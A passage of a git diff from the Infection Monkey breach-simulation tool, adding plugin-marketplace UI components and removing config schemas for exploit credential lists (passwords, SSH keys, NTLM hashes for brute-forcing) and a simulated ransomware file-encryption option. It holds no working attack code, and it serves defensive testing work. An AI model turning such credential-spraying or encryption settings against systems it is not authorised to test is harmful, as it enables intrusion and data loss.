{ + setInstallationInProgress(false); + } + }, [props.pluginsInInstallationProcess]); + + const installAllSafePlugins = () => { + setInstallationInProgress(true); + installableSafePlugins.map(plugin => + props.onInstallClick(plugin.id, + plugin.name, + plugin.pluginType, + plugin.version) + ); + } + + return ( + + {installationInProgress ? : } All Safe Plugins + + ) +} + +export default InstallAllSafePluginsButton; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/InstalledPlugins.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/InstalledPlugins.tsx new file mode 100644 index 00000000000..625c22f2e48 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/InstalledPlugins.tsx @@ -0,0 +1,304 @@ +import React, {useContext, useEffect, useMemo, useState} from 'react'; +import { + generatePluginId, + InstalledPlugin, + PluginsContext +} from '../../contexts/plugins/PluginsContext'; +import {shallowAdditionOfUniqueValueToArray, shallowRemovalOfUniqueValueFromArray} from '../../../utils/objectUtils'; +import {GridActionsCellItem} from '@mui/x-data-grid'; +import {Box, Grid, Stack} from '@mui/material'; +import DeleteIcon from '@mui/icons-material/Delete'; +import DownloadDoneIcon from '@mui/icons-material/DownloadDone'; +import UpgradeIcon from '@mui/icons-material/Upgrade'; +import RemoveDoneIcon from '@mui/icons-material/RemoveDone'; +import PluginTable, { + generatePluginsTableColumns, + generatePluginsTableRows, +} from './PluginTable'; +import MonkeyToggle from '../MonkeyToggle'; +import TypeFilter from './TypeFilter'; +import LoadingIcon from '../LoadingIconMUI'; +import semver from 'semver'; +import SearchFilter, {defaultSearchableColumns} from './SearchFilter'; +import IslandHttpClient, { APIEndpoint } from '../../IslandHttpClient'; + + +const UPGRADEABLE_VALUE = 'upgradeable'; +const NO_INSTALLED_PLUGINS_MESSAGE = 'There are no plugins installed'; +const FETCHING_ERROR_MESSAGE = 'An error occurred while retrieving the installed plugins'; + +const InstalledPlugins = (props) => { + // @ts-ignore + const { + successfullyUpdatedPluginsIds = [], setSuccessfullyUpdatedPluginsIds = {}, + pluginsInUpdateProcess = [], setPluginsInUpdateProcess = {}, + successfullyUninstalledPluginsIds = [], setSuccessfullyUninstalledPluginsIds = {}, + pluginsInUninstallProcess = [], setPluginsInUninstallProcess = {} + } = {...props}; + const {installedPlugins, refreshInstalledPlugins, availablePlugins, refreshInstalledPluginsFailure} = useContext(PluginsContext); + const [displayedRows, setDisplayedRows] = useState([]); + const [filters, setFilters] = useState({}); + + const installedPluginRows = useMemo(() => { + return generatePluginsTableRows(installedPlugins); + }, [installedPlugins]); + + useEffect(() => { + let allRows = installedPluginRows; + for (const filter of Object.values(filters)) { + // @ts-ignore + allRows = allRows.filter(filter); + } + setDisplayedRows(allRows); + }, [installedPlugins, filters]); + + const uninstallPlugin = (pluginType, pluginName) => { + let contents = {plugin_type: pluginType, name: pluginName}; + return IslandHttpClient.postJSON(APIEndpoint.uninstallAgentPlugin, contents, true) + } + + const onUninstallClick = (pluginId, pluginType, pluginName) => { + setPluginsInUninstallProcess((prevState) => { + return shallowAdditionOfUniqueValueToArray(prevState, pluginId); + }); + + uninstallPlugin(pluginType, pluginName).then(() => { + setSuccessfullyUninstalledPluginsIds((prevState) => { + return shallowAdditionOfUniqueValueToArray(prevState, pluginId); + }); + }).catch(() => { + console.log('error uninstalling plugin'); + }).finally(() => { + setPluginsInUninstallProcess((prevState => { + return shallowRemovalOfUniqueValueFromArray(prevState, pluginId); + })); + }); + } + + const upgradePlugin = (pluginType, name, version) => { + let contents = {plugin_type: pluginType, name: name, version: version}; + return IslandHttpClient.putJSON(APIEndpoint.installAgentPlugin, contents, true) + } + + const onUpgradeClick = (pluginId, pluginType, name, version) => { + setPluginsInUpdateProcess((prevState) => { + return shallowAdditionOfUniqueValueToArray(prevState, pluginId); + }); + + upgradePlugin(pluginType, name, version).then(() => { + setSuccessfullyUpdatedPluginsIds((prevState) => { + const newPluginId = generatePluginId(name, pluginType, version); + return shallowAdditionOfUniqueValueToArray(prevState, newPluginId); + }); + refreshInstalledPlugins(); + }).catch(() => { + console.log('error upgrading plugin'); + }).finally(() => { + setPluginsInUpdateProcess((prevState => { + return shallowRemovalOfUniqueValueFromArray(prevState, pluginId); + })); + }); + } + + const isPluginUpgradable = (plugin :InstalledPlugin) => { + const latestVersion = getLatestVersion(plugin); + if (latestVersion) { + return semver.gt(latestVersion, plugin.version); + } else { + return false; + } + } + + const getLatestVersion = (plugin :InstalledPlugin) :string => { + const latestPlugin = availablePlugins.find(availablePlugin => { + return availablePlugin.name === plugin.name && availablePlugin.pluginType === plugin.pluginType + }); + if (!latestPlugin) { + // Custom plugin might not be available in the marketplace + return undefined; + } else { + return latestPlugin.version; + } + } + + const getUpgradeAction = (plugin :InstalledPlugin) => { + if (pluginsInUpdateProcess.includes(plugin.id)) { + return [ + } + label="Upgrading" + className="textPrimary" + color="inherit" + /> + ] + } + + if (successfullyUpdatedPluginsIds.includes(plugin.id)) { + return [ + } + label="Upgrade Complete" + className="textPrimary" + color="inherit" + /> + ] + } + + if ((!pluginsInUninstallProcess.includes(plugin.id)) + && (!successfullyUninstalledPluginsIds.includes(plugin.id)) + && isPluginUpgradable(plugin)) { + return [ + } + label="Upgrade" + className="textPrimary" + onClick={() => onUpgradeClick(plugin.id, plugin.pluginType, plugin.name, getLatestVersion(plugin))} + color="inherit" + /> + ] + } + + return [ + } + label="Upgrade" + className="textPrimary" + disabled={true} + color="inherit" + /> + ]; + } + + const getUninstallAction = (plugin :InstalledPlugin) => { + if (pluginsInUninstallProcess.includes(plugin.id)) { + return [ + } + label="Uninstalling" + className="textPrimary" + color="inherit" + /> + ] + } + + if (successfullyUninstalledPluginsIds.includes(plugin.id)) { + return [ + } + label="Uninstall Complete" + className="textPrimary" + color="inherit" + /> + ] + } + + if (pluginsInUpdateProcess.includes(plugin.id)) { + return [ + } + label="Uninstalling" + className="textPrimary" + disabled={true} + color="inherit" + /> + ] + } + + return [ + } + label="Uninstall" + className="textPrimary" + onClick={() => onUninstallClick(plugin.id, plugin.pluginType, plugin.name)} + color="inherit" + /> + ]; + } + + const getRowActions = (row) => { + const plugin = installedPlugins.find(installedPlugin => installedPlugin.id === row.id); + if(!plugin) return []; + return [...getUpgradeAction(plugin), ...getUninstallAction(plugin)] + } + + const onToggleChanged = (selectedValue) => { + + const noOp = (row) => true; + + const upgradeFilter = (row) => { + let plugin = installedPlugins.find(plugin => plugin.id === row.id) + if(plugin){ + return isPluginUpgradable(plugin); + } else { + return false; + } + } + + let filter = selectedValue === UPGRADEABLE_VALUE ? upgradeFilter : noOp + + setFilters((prevState) => { + return {...prevState, upgradable: filter}; + }); + } + + const renderFilters = () => { + if(installedPlugins?.length > 0) { + return ( + <> + + + + + + + + + + + + + + + + ) + } + return null; + } + + const getOverlayMessage = () => { + if(refreshInstalledPluginsFailure) { + return FETCHING_ERROR_MESSAGE; + } else if(installedPlugins?.length === 0) { + return NO_INSTALLED_PLUGINS_MESSAGE; + } + return null; + } + + return ( + + {renderFilters()} + + + ) +}; + +export default InstalledPlugins; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/PluginTable.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/PluginTable.tsx new file mode 100644 index 00000000000..7cede8e5f29 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/PluginTable.tsx @@ -0,0 +1,178 @@ +import React, {useState} from 'react'; +import {Box, Typography} from '@mui/material'; +import XDataGrid from '../XDataGrid'; +import HealthAndSafetyOutlinedIcon from '@mui/icons-material/HealthAndSafetyOutlined'; +import WarningAmberOutlinedIcon from '@mui/icons-material/WarningAmberOutlined'; +import styles from '../../../styles/components/plugins-marketplace/PluginTable.module.scss'; +import {AgentPlugin} from '../../contexts/plugins/PluginsContext'; +import _ from 'lodash'; +import MonkeyTooltip from '../MonkeyTooltip'; +import ExpandLess from '@mui/icons-material/ExpandLess'; +import ExpandMore from '@mui/icons-material/ExpandMore'; +import MonkeyButton from '../MonkeyButton'; + + +const DEFAULT_LOADING_MESSAGE = 'Loading plugins...'; +const HEADER_SUFFIX = '--header'; + +const initialState = { + sorting: { + sortModel: [{field: 'name', sort: 'asc'}] + } +}; + + +type getRowActionsType = (plugin: PluginRow) => any[]; + +export const generatePluginsTableColumns = (getRowActions: getRowActionsType) => [ + { + headerName: 'Name', + field: 'name', + sortable: true, + filterable: false, + flex: 0.2, + minWidth: 150, + isTextual: true + }, + { + headerName: 'Version', + field: 'version', + sortable: false, + filterable: false, + flex: 0.1, + minWidth: 100, + isTextual: true + }, + { + headerName: 'Type', + field: 'pluginType', + sortable: true, + filterable: false, + flex: 0.2, + minWidth: 150, + isTextual: true + }, + { + headerName: 'Description', + field: 'description', + sortable: false, + filterable: false, + minWidth: 150, + flex: 1, + renderCell: renderDescriptionCell + }, + { + headerName: 'Safety', + field: 'safe', + headerAlign: 'center', + sortable: true, + filterable: false, + flex: 0.1, + minWidth: 100, + renderCell: renderSafetyCell + }, + { + headerName: '', + field: 'row_actions', + type: 'actions', + minWidth: 100, + flex: 0.1, + flexValue: 0.5, + headerClassName: `row-actions${HEADER_SUFFIX}`, + cellClassName: `row-actions`, + getActions: (params) => { + return getRowActions(params.row); + } + } +] + +const renderSafetyCell = (params) => { + const SAFE = 'Safe', UNSAFE = 'Unsafe'; + return ( +
    + + {params.value ? ( + + ) : ( + + )} + +
    + ); +} + +const renderDescriptionCell = (params) => { + const ref = React.useRef(); + const [isOverflowing, setIsOverflowing] = useState(false); + const [isExpanded, setIsExpanded] = useState(false); + + React.useEffect(() => { + if (ref.current) { + setIsOverflowing(ref.current['scrollWidth'] > params.colDef.computedWidth); + } + }, [ref]); + + return ( + <> + + {params.value} + + {isOverflowing && ( + setIsExpanded(!isExpanded)}> + {isExpanded ? : } + + )} + + ); +} + +export type PluginRow = { + id: string, + name: string, + version: string, + pluginType: string, + description: any, + safe: boolean +}; + +export const generatePluginsTableRows = (pluginsList: AgentPlugin[]): PluginRow[] => { + const plugins = pluginsList?.map((pluginObject) => { + const {id, name, safe, version, pluginType, description} = {...pluginObject}; + return { + id: id, + name: name, + safe: safe, + version: version, + pluginType: _.startCase(pluginType), + description: description, + } + }) + + return plugins || []; +} + +const PluginTable = (props) => { + const {rows = [], columns = [], loadingMessage = DEFAULT_LOADING_MESSAGE, ...rest} = {...props}; + + const [isLoadingPlugins] = useState(false); + + return ( + + {isLoadingPlugins + ? loadingMessage + : + } + + ) +} + +export default PluginTable; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/SearchFilter.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/SearchFilter.tsx new file mode 100644 index 00000000000..fa64295f54e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/SearchFilter.tsx @@ -0,0 +1,39 @@ +import SearchBar from '../SearchBar'; +import React from 'react'; +import {PluginRow} from './PluginTable'; + +type SearchFilterProps = { + setFilters: (filters: any) => void; + searchableColumns: string[]; +} + +export const defaultSearchableColumns = ['name', 'pluginType', 'version', 'author']; + + +const SearchFilter = (props :SearchFilterProps) => { + + const onSearchChanged = (query :string) => { + const filterOnText = (pluginRow :PluginRow): boolean => { + for (const field of props.searchableColumns) { + const fieldValue = pluginRow[field]; + if (fieldValue?.toLowerCase()?.includes(query?.toLowerCase())) { + return true; + } + } + } + + const noOp = (query) => true; + + let filter = query === '' ? noOp : filterOnText; + + props.setFilters((prevState) => { + return {...prevState, text: filter}; + }); + } + + return ( + + ) +} + +export default SearchFilter; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/TypeFilter.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/TypeFilter.tsx new file mode 100644 index 00000000000..6f331637b44 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/TypeFilter.tsx @@ -0,0 +1,62 @@ +import React, {useEffect, useState} from 'react'; +import SelectComponent, {SelectVariant} from '../MonkeySelect'; +import {PluginRow} from './PluginTable'; + +type TypeFilterProps = { + allRows: PluginRow[], + setFilters: (filters: (prevState) => any ) => void +} + +type SelectOption = { + value: string, + label: string +} + +const anyTypeOption :SelectOption = {value: "", label: "All"} + +const TypeFilter = ({allRows, setFilters} :TypeFilterProps) => { + const [selectedType, setSelectedType] = useState(anyTypeOption) + const [typeFilters, setTypeFilters] = useState([]) + + useEffect(() => { + let allTypes = []; + allTypes = allRows.map(row => row.pluginType) + allTypes = [...new Set(allTypes)] + allTypes = allTypes.map(selectOptionFromValue) + allTypes.unshift(anyTypeOption) + setTypeFilters(allTypes) + }, [allRows]) + + useEffect(() => { + setFilters((prevState) => { + return {...prevState, pluginType: getFilterForType(selectedType)} + })}, [selectedType]) + + const selectOptionFromValue = (value) :SelectOption => { + return {value: value, label: value} + } + + const handleTypeChange = (event) => { + setSelectedType(selectOptionFromValue(event.target.value)) + } + + const getFilterForType = (typeOption :SelectOption) => { + if (typeOption.value === "") { + return () => true; + } + + return (row: PluginRow): boolean => { + let pluginType = row.pluginType + return pluginType === typeOption.value + }; + } + + return ( + + ) +} + +export default TypeFilter; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/UploadNewPlugin.js b/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/UploadNewPlugin.js new file mode 100644 index 00000000000..8e99356f52c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/plugins-marketplace/UploadNewPlugin.js @@ -0,0 +1,187 @@ +import React, { useCallback, useContext, useState } from 'react'; +import { useDropzone } from 'react-dropzone'; +import Alert from '@mui/material/Alert'; +import AlertTitle from '@mui/material/AlertTitle'; +import Button from '@mui/material/Button'; +import DeleteIcon from '@mui/icons-material/Delete'; +import FileUploadIcon from '@mui/icons-material/FileUpload'; +import Grid from '@mui/material/Grid'; +import Typography from '@mui/material/Typography'; +import IslandHttpClient, { APIEndpoint } from '../../IslandHttpClient'; +import LoadingIcon from '../LoadingIcon'; +import {PluginsContext} from '../../contexts/plugins/PluginsContext'; +import styles from '../../../styles/components/plugins-marketplace/UploadNewPlugin.module.scss'; + +const getColor = (props) => { + if (props.isDragAccept) { + return '#00e676'; + } + if (props.isDragReject) { + return '#ff1744'; + } + if (props.isFocused) { + return '#ffc107'; + } + return '#eeeeee'; +}; + +const UploadNewPlugin = () => { + const { refreshInstalledPlugins } = useContext(PluginsContext); + const [plugin, setPlugin] = useState(null); + const [loading, setLoading] = useState(false); + const [showSuccessAlert, setShowSuccessAlert] = useState(false); + const [showErrorAlert, setShowErrorAlert] = useState(false); + const [pluginName, setPluginName] = useState(''); + const [errors, setErrors] = useState([]); + + const onDrop = useCallback((acceptedPlugin, rejectedPlugin) => { + if (acceptedPlugin?.length) { + const reader = new FileReader(); + reader.onload = (e) => { + if (e.target.readyState === FileReader.DONE) { + const binaryPlugin = new Uint8Array(e.target.result); + setPlugin(binaryPlugin); + setPluginName(Object.assign(acceptedPlugin?.[0]).name); + } + }; + reader.readAsArrayBuffer(acceptedPlugin?.[0]); + } + if (rejectedPlugin?.length) { + const uniqueErrors = new Set(); + + rejectedPlugin.forEach(item => { + item.errors.forEach(error => { + uniqueErrors.add(`${error.message}`); + }); + }); + setErrors(Array.from(uniqueErrors)); + showErrorAlertDialog(); + } + }, []); + + const { + getRootProps, + getInputProps, + isDragAccept, + isFocused, + isDragReject + } = useDropzone({ + accept: { + 'application/x-tar': [] + }, + maxFiles: 1, + onDrop + }); + + const showErrorAlertDialog = () => { + setShowErrorAlert(true); + setTimeout(() => { + setShowErrorAlert(false); + setErrors([]); + }, 10000); + } + + const uploadPlugin = () => { + setLoading(true); + IslandHttpClient.put(APIEndpoint.installAgentPlugin, plugin, false).then(res => { + setLoading(false); + if (res.status === 200) { + refreshInstalledPlugins(); + setShowSuccessAlert(true); + setTimeout(() => { + setShowSuccessAlert(false); + setPluginName(''); + }, 10000); + setPlugin(null); + } else { + let error = `Error occurred installing the plugin '${pluginName}'`; + setErrors(prevErrs => [...prevErrs, error]); + setPlugin(null); + setPluginName(''); + showErrorAlertDialog(); + } + }); + }; + + const removePlugin = () => { + setPlugin(null); + setPluginName(''); + setErrors([]); + }; + + const containerStyle = { + borderColor: getColor({ isDragAccept, isFocused, isDragReject }) + }; + + return ( +
    +
    + + {plugin === null && !loading && ( +
    + Drag 'n' drop Plugin Tar here + or click to select a file +
    + )} + {plugin !== null && !loading && ( + '{pluginName}' is ready to be uploaded. + )} + {loading && ( +
    + Uploading '{pluginName}' to Island! + +
    + )} +
    + {showSuccessAlert && ( + setShowSuccessAlert(false)}> + '{pluginName}' is successfully installed + + )} + {showErrorAlert && ( + setShowErrorAlert(false)}> + Error uploading Plugin Tar +
      + {errors.map((error, index) => ( + + {error} + + ))} +
    +
    + )} +
    + + + + + + {plugin !== null && ( + + )} + + +
    + ); +}; + +export default UploadNewPlugin; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/utils/GridNoRowsOverlay.js b/monkey/monkey_island/cc/ui/src/components/ui-components/utils/GridNoRowsOverlay.js new file mode 100644 index 00000000000..6e1ed397d44 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/utils/GridNoRowsOverlay.js @@ -0,0 +1,78 @@ +import React from 'react'; +import {styled} from '@mui/material/styles'; +import {Box} from '@mui/material'; + +const DEFAULT_MESSAGE = 'No Rows'; + +const StyledGridOverlay = styled('div')(({theme}) => ({ + display: 'flex', + flexDirection: 'column', + alignItems: 'center', + justifyContent: 'center', + height: '100%', + '& .ant-empty-img-1': { + fill: theme.palette.mode === 'light' ? '#aeb8c2' : '#262626' + }, + '& .ant-empty-img-2': { + fill: theme.palette.mode === 'light' ? '#f5f5f7' : '#595959' + }, + '& .ant-empty-img-3': { + fill: theme.palette.mode === 'light' ? '#dce0e6' : '#434343' + }, + '& .ant-empty-img-4': { + fill: theme.palette.mode === 'light' ? '#fff' : '#1c1c1c' + }, + '& .ant-empty-img-5': { + fillOpacity: theme.palette.mode === 'light' ? '0.8' : '0.08', + fill: theme.palette.mode === 'light' ? '#f5f5f5' : '#fff' + } +})); + +const CustomNoRowsOverlay = ({message}) => { + return ( + + + + + + + + + + + + + + + + + {message || DEFAULT_MESSAGE} + + ); +} + +export default CustomNoRowsOverlay; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/utils/HeightCalculator.js b/monkey/monkey_island/cc/ui/src/components/ui-components/utils/HeightCalculator.js deleted file mode 100644 index 65a4fa1781b..00000000000 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/utils/HeightCalculator.js +++ /dev/null @@ -1,14 +0,0 @@ -const defaultMinHeight = 25 -const defaultMaxHeight = 250 -const defaultSubcomponentHeight = 25 - -export function getComponentHeight(subcomponentCount, - subcomponentHeight = defaultSubcomponentHeight, - minHeight = defaultMinHeight, - maxHeight = defaultMaxHeight) { - let height = minHeight + (subcomponentHeight*subcomponentCount); - if (height > maxHeight) - height = maxHeight - - return height -} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/utils/useInterval.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/utils/useInterval.tsx new file mode 100644 index 00000000000..f0ed9456b65 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/utils/useInterval.tsx @@ -0,0 +1,23 @@ +import {useEffect, useRef} from 'react' + +export const useInterval = (callback: () => void, delay: number | null) => { + const savedCallback = useRef(callback); + + // Remember the latest callback if it changes + useEffect(() => { + savedCallback.current = callback; + }, [callback]) + + // Set up the interval + useEffect(() => { + // Don't schedule if no delay is specified + // Note: 0 is a valid value for delay + if (!delay && delay !== 0) { + return; + } + + const id = setInterval(() => savedCallback.current(), delay); + + return () => clearInterval(id); + }, [delay]) +} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/utils/useStateCallback.js b/monkey/monkey_island/cc/ui/src/components/ui-components/utils/useStateCallback.js new file mode 100644 index 00000000000..22e4a81469b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/utils/useStateCallback.js @@ -0,0 +1,22 @@ +import {useCallback, useEffect, useRef, useState} from 'react'; + +export const useStateCallback = (initialState) => { + const [state, setState] = useState(initialState); + const cbRef = useRef(null); // init mutable ref container for callbacks + + const setStateCallback = useCallback((state, cb) => { + cbRef.current = cb; // store current, passed callback in ref + setState(state); + }, []); // keep object reference stable, exactly like `useState` + + useEffect(() => { + // cb.current is `null` on initial render, + // so we only invoke callback on state *updates* + if (cbRef.current) { + cbRef.current(state); + cbRef.current = null; // reset callback after execution + } + }, [state]); + + return [state, setStateCallback]; +}; diff --git a/monkey/monkey_island/cc/ui/src/components/utils/CredentialTitle.tsx b/monkey/monkey_island/cc/ui/src/components/utils/CredentialTitle.tsx index 2f12c20dc6c..1a47a8f6018 100644 --- a/monkey/monkey_island/cc/ui/src/components/utils/CredentialTitle.tsx +++ b/monkey/monkey_island/cc/ui/src/components/utils/CredentialTitle.tsx @@ -21,3 +21,11 @@ export enum SecretType { export enum PlaintextType { PublicKey = 'public_key' } + +export const SECRET_TYPES = { + password: 'password', + lm: 'lm_hash', + ntlm: 'nt_hash', + ssh_public_key: 'public_key', + ssh_private_key: 'private_key' +} diff --git a/monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js b/monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js index f98fa5e5f23..20f89628412 100644 --- a/monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js +++ b/monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js @@ -19,6 +19,11 @@ function getPluginDescriptors(schema, config) { name: 'CredentialsCollectors', allPlugins: schema.properties.credentials_collectors.properties, selectedPlugins: Object.keys(config.credentials_collectors) + }, + { + name: 'Payloads', + allPlugins: schema.properties.payloads.properties, + selectedPlugins: Object.keys(config.payloads) } ]) } diff --git a/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js b/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js index 29940c63cbe..720537dac44 100644 --- a/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js +++ b/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js @@ -2,6 +2,6 @@ import FileSaver from 'file-saver'; export default function saveJsonToFile(dataToSave, filename) { const content = JSON.stringify(dataToSave, null, 2); - const blob = new Blob([content], {type: 'text/plain;charset=utf-8'}); + const blob = new Blob([content], {pluginType: 'text/plain;charset=utf-8'}); FileSaver.saveAs(blob, filename + '.json'); } diff --git a/monkey/monkey_island/cc/ui/src/components/utils/ServerUtils.tsx b/monkey/monkey_island/cc/ui/src/components/utils/ServerUtils.tsx index a688bed54e5..017747e9a34 100644 --- a/monkey/monkey_island/cc/ui/src/components/utils/ServerUtils.tsx +++ b/monkey/monkey_island/cc/ui/src/components/utils/ServerUtils.tsx @@ -1,7 +1,5 @@ import IslandHttpClient, {APIEndpoint} from '../IslandHttpClient'; - - export function doesAnyAgentExist(refreshToken: boolean) { return getAllAgents(refreshToken).then(all_agents => { return all_agents.length > 0; @@ -26,7 +24,7 @@ export function getCollectionObject(collectionEndpoint: APIEndpoint, key: string } export function arrayToObject(array: object[], key: string): Record{ - return array.reduce((prev, curr) => ({...prev, [curr[key]]: curr}), {}); + return array?.reduce((prev, curr) => ({...prev, [curr[key]]: curr}), {}); } export function getAllAgents(refreshToken: boolean) { diff --git a/monkey/monkey_island/cc/ui/src/index.js b/monkey/monkey_island/cc/ui/src/index.js index 06ce514e13e..f794b7a7e6b 100644 --- a/monkey/monkey_island/cc/ui/src/index.js +++ b/monkey/monkey_island/cc/ui/src/index.js @@ -1,10 +1,15 @@ import 'core-js/stable'; import 'regenerator-runtime/runtime'; import React from 'react'; -import ReactDOM from 'react-dom'; +import {createRoot} from 'react-dom/client'; import App from './components/Main'; import './styles/Main.scss'; import './styles/external/fontawesome/css/all.css'; // Render the main component into the dom -ReactDOM.render(, document.getElementById('app')); +const root = createRoot(document.getElementById('app')); +root.render( + + + +); diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index d0295d074e3..03475f64ad4 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -171,11 +171,14 @@ export default class AuthService { } if (Object.prototype.hasOwnProperty.call(options, 'headers')) { + if(this.loggedIn()){ + options['headers']['Authentication-Token'] = token; + } + } else { + options['headers'] = {}; for (let header in headers) { options['headers'][header] = headers[header]; } - } else { - options['headers'] = headers; } return fetch(url, options) diff --git a/monkey/monkey_island/cc/ui/src/services/configuration/configSchema.js b/monkey/monkey_island/cc/ui/src/services/configuration/configSchema.js index fab465a24a1..c1b8e15e676 100644 --- a/monkey/monkey_island/cc/ui/src/services/configuration/configSchema.js +++ b/monkey/monkey_island/cc/ui/src/services/configuration/configSchema.js @@ -1,6 +1,6 @@ import PROPAGATION_CONFIGURATION_SCHEMA from './propagation/propagation.js'; import CREDENTIALS_COLLECTORS from './credentialsCollectors.js'; -import RANSOMWARE_SCHEMA from './ransomware'; +import PAYLOADS from './payloads.js'; import POLYMORPHISM_SCHEMA from './polymorphism.js' import {MASQUERADE} from './masquerade.js'; @@ -9,7 +9,12 @@ export const SCHEMA = { 'type': 'object', 'properties': { 'propagation': PROPAGATION_CONFIGURATION_SCHEMA, - 'payloads': RANSOMWARE_SCHEMA, + 'payloads': { + 'title': 'Payloads', + 'type': 'array', + 'uniqueItems': true, + 'items': PAYLOADS + }, 'credentials_collectors': { 'title': 'Credentials collectors', 'type': 'array', diff --git a/monkey/monkey_island/cc/ui/src/services/configuration/payloads.js b/monkey/monkey_island/cc/ui/src/services/configuration/payloads.js new file mode 100644 index 00000000000..9624cb181e1 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/services/configuration/payloads.js @@ -0,0 +1,7 @@ +const PAYLOADS = { + 'title': 'Payloads', + 'description': 'Click on a payload for more information.', + 'type': 'object', + 'properties':{} +} +export default PAYLOADS diff --git a/monkey/monkey_island/cc/ui/src/services/configuration/propagation/credentials.js b/monkey/monkey_island/cc/ui/src/services/configuration/propagation/credentials.js index f00398b30d6..2285dc2f030 100644 --- a/monkey/monkey_island/cc/ui/src/services/configuration/propagation/credentials.js +++ b/monkey/monkey_island/cc/ui/src/services/configuration/propagation/credentials.js @@ -1,83 +1,5 @@ const CREDENTIALS = { - 'title': 'Credentials', - 'type': 'object', - 'properties': { - 'exploit_user_list': { - 'title': 'Exploit user list', - 'type': 'array', - 'uniqueItems': true, - 'items': {'type': 'string'}, - 'default': [], - 'description': 'List of usernames that will be used by exploiters that need ' + - 'credentials, like SSH brute-forcing.' - }, - 'exploit_email_list': { - 'title': 'Exploit email address list', - 'type': 'array', - 'uniqueItems': true, - 'items': { - 'type': 'string', - 'format': 'valid-email-address' - }, - 'default': [], - 'description': 'List of email addresses that will be used by exploiters.' - }, - 'exploit_password_list': { - 'title': 'Exploit password list', - 'type': 'array', - 'uniqueItems': true, - 'items': {'type': 'string'}, - 'default': [], - 'description': 'List of passwords that will be used by exploiters that need ' + - 'credentials, like SSH brute-forcing.' - }, - 'exploit_ssh_keys': { - 'title': 'SSH key pairs list', - 'type': 'array', - 'uniqueItems': true, - 'default': [], - 'items': { - 'type': 'object', - 'title': 'SSH keypair', - 'properties': { - 'public_key': { - 'title': 'Public Key', - 'type': 'string' - }, - 'private_key': { - 'title': 'Private Key', - 'type': 'string' - } - } - }, - 'description': 'List of SSH key pairs to use, when trying to ssh into servers' - }, - 'exploit_lm_hash_list': { - 'title': 'Exploit LM hash list', - 'type': 'array', - 'uniqueItems': true, - 'items': {'type': 'string'}, - 'default': [], - 'description': 'List of LM hashes to use on exploits using credentials' - }, - 'exploit_ntlm_hash_list': { - 'title': 'Exploit NTLM hash list', - 'type': 'array', - 'uniqueItems': true, - 'items': {'type': 'string'}, - 'default': [], - 'description': 'List of NTLM hashes to use on exploits using credentials' - } - } -} - -export const defaultCredentials = { - 'exploit_user_list': [], - 'exploit_email_list': [], - 'exploit_password_list': [], - 'exploit_lm_hash_list': [], - 'exploit_ntlm_hash_list': [], - 'exploit_ssh_keys': [] + 'title': 'Credentials' } export default CREDENTIALS; diff --git a/monkey/monkey_island/cc/ui/src/services/configuration/ransomware.js b/monkey/monkey_island/cc/ui/src/services/configuration/ransomware.js deleted file mode 100644 index e38fe10801e..00000000000 --- a/monkey/monkey_island/cc/ui/src/services/configuration/ransomware.js +++ /dev/null @@ -1,64 +0,0 @@ -const RANSOMWARE_SCHEMA = { - 'title': 'Payloads', - 'properties': { - 'encryption': { - 'title': 'Ransomware simulation', - 'type': 'object', - 'properties': { - 'enabled': { - 'title': 'Encrypt files', - 'type': 'boolean', - 'default': true, - 'description': 'Ransomware encryption will be simulated by flipping every bit ' + - 'in the files contained within the target directories.' - }, - 'file_extension': { - 'title': 'File extension', - 'type': 'string', - 'format': 'valid-file-extension', - 'default': '.m0nk3y', - 'description': 'The file extension that the Infection Monkey will use for the ' + - 'encrypted file.' - }, - 'directories': { - 'title': 'Directories to encrypt', - 'type': 'object', - 'properties': { - 'linux_target_dir': { - 'title': 'Linux target directory', - 'type': 'string', - 'format': 'valid-ransomware-target-path-linux', - 'default': '', - 'description': 'A path to a directory on Linux systems that contains ' + - 'files you will allow Infection Monkey to encrypt. If no ' + - 'directory is specified, no files will be encrypted.' - }, - 'windows_target_dir': { - 'title': 'Windows target directory', - 'type': 'string', - 'format': 'valid-ransomware-target-path-windows', - 'default': '', - 'description': 'A path to a directory on Windows systems that contains ' + - 'files you will allow Infection Monkey to encrypt. If 